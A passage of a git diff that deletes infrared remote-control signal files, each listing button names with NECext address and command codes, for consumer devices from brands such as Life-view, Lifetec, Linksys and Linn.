00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 03 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 04 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 05 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 07 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 08 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 09 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 0B 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 0C 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 0D 00 00 00 -# -name: air/catv -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 0E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 0F 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 10 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 14 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 15 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 17 00 00 00 -# -name: av_source -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 18 00 00 00 -# -name: stereo -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 1A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 1B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Life-view/Unknown_flyvideo/96,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Life-view/Unknown_flyvideo/96,1.ir deleted file mode 100644 index ea6359e45..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Life-view/Unknown_flyvideo/96,1.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 00 00 00 00 -# -name: MOUSE_MODE -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 01 00 00 00 -# -name: KEY_F11 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 03 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 04 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 05 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 06 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 07 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 08 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 09 00 00 00 -# -name: INC -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 0B 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 0C 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 0D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 0E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 0F 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 10 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 12 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 13 00 00 00 -# -name: CENTER -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 13 00 00 00 -# -name: CENTER -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 14 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 15 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 15 00 00 00 -# -name: DEC -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 16 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 17 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 18 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 19 00 00 00 -# -name: KEY_ESC -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 1A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 1B 00 00 00 -# -name: TAB_RIGHT -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 1C 00 00 00 -# -name: SQUARE -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 1D 00 00 00 -# -name: TAB_LEFT -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 1E 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 1F 00 00 00 -# -name: REV -type: parsed -protocol: NECext -address: 60 01 00 00 -command: E1 00 00 00 -# -name: CHANELS -type: parsed -protocol: NECext -address: 60 01 00 00 -command: E2 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 60 01 00 00 -command: E3 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lifesat/Unknown_28/128,38.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lifesat/Unknown_28/128,38.ir deleted file mode 100644 index 45668dfd3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lifesat/Unknown_28/128,38.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 01 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 02 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 07 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 08 00 00 00 -# -name: V/H -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 0A 00 00 00 -# -name: MEM -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 0B 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 0C 00 00 00 -# -name: SET -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 0D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 0F 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 11 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 12 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 14 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 15 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 16 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 17 00 00 00 -# -name: P/L -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 18 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 19 00 00 00 -# -name: D/ON -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 1A 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 1B 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 1D 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 1E 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lifetec/Unknown_LT9096/128,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lifetec/Unknown_LT9096/128,123.ir deleted file mode 100644 index 9eb441a0d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lifetec/Unknown_LT9096/128,123.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0B 00 00 00 -# -name: TIMER_REC -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0D 00 00 00 -# -name: AUDIO_SELECT -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0E 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 12 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 13 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 14 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 15 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 16 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 17 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 18 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 19 00 00 00 -# -name: PAUSE/STILL -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 1A 00 00 00 -# -name: SHOWVIEW -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 1D 00 00 00 -# -name: SPEED_SP/LP -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 1E 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 45 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4A 00 00 00 -# -name: ZERO_RETURN -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4B 00 00 00 -# -name: COUNTER_RESET -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4C 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 50 00 00 00 -# -name: CLOCK/COUNTER -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 51 00 00 00 -# -name: CALL -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lifetec/Unknown_RC2000/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lifetec/Unknown_RC2000/5,-1.ir deleted file mode 100644 index 2a3b706b0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lifetec/Unknown_RC2000/5,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_F1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: KEY_F2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: KEY_F3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5E 00 00 00 -# -name: KEY_F4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lifetec/Unknown_remote/164,164.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lifetec/Unknown_remote/164,164.ir deleted file mode 100644 index 3261dcc8d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lifetec/Unknown_remote/164,164.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: A4 A4 00 00 -command: 04 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: A4 A4 00 00 -command: 0C 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: A4 A4 00 00 -command: 13 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A4 A4 00 00 -command: 16 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: A4 A4 00 00 -command: 17 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: A4 A4 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: A4 A4 00 00 -command: 20 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: A4 A4 00 00 -command: 60 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lightolier/Lighting Controller/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lightolier/Lighting Controller/0,-1.ir deleted file mode 100644 index 18f1831c2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lightolier/Lighting Controller/0,-1.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SCENE_A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: SCENE_B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: SCENE_C -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: SCENE_D -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linksys/Media Adapter/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linksys/Media Adapter/134,107.ir deleted file mode 100644 index fe18cde7d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linksys/Media Adapter/134,107.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 19 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linksys/Unknown_WMA11B-R/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linksys/Unknown_WMA11B-R/134,107.ir deleted file mode 100644 index ff34f0f31..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linksys/Unknown_WMA11B-R/134,107.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 00 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 04 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 05 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 06 00 00 00 -# -name: KEY_IMAGES -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 07 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 08 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 09 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0B 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0C 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0D 00 00 00 -# -name: KEY_OPTION -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0F 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 10 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 11 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 14 00 00 00 -# -name: ZOOMUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 15 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 19 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1A 00 00 00 -# -name: ZOOMDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/CD Player/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/CD Player/20,-1.ir deleted file mode 100644 index cb202724e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/CD Player/20,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0B 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2D 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 70 00 00 00 -# -name: INTRO_SCAN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 72 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Classic music/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Classic music/16,-1.ir deleted file mode 100644 index 0b59a663a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Classic music/16,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: TUN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 14 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 15 00 00 00 -# -name: TP1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 16 00 00 00 -# -name: TP2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 17 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 18 00 00 00 -# -name: BAL_R -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1A 00 00 00 -# -name: BAL_L -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1B 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 26 00 00 00 -# -name: ALARM -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 29 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2A 00 00 00 -# -name: TIME_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2B 00 00 00 -# -name: TIMEDN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2C 00 00 00 -# -name: LISTEN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 38 00 00 00 -# -name: BASS+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6B 00 00 00 -# -name: BASS- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6C 00 00 00 -# -name: TREB+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6D 00 00 00 -# -name: TREB- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Classic music/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Classic music/17,-1.ir deleted file mode 100644 index a779cc148..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Classic music/17,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MONO -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1C 00 00 00 -# -name: TUNE_DN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 22 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 28 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2E 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 37 00 00 00 -# -name: PRESET -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: SIGNAL -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: TUNE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3A 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Classic music/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Classic music/20,-1.ir deleted file mode 100644 index ce02aea20..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Classic music/20,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: DISPLAY -type: parsed -protocol: 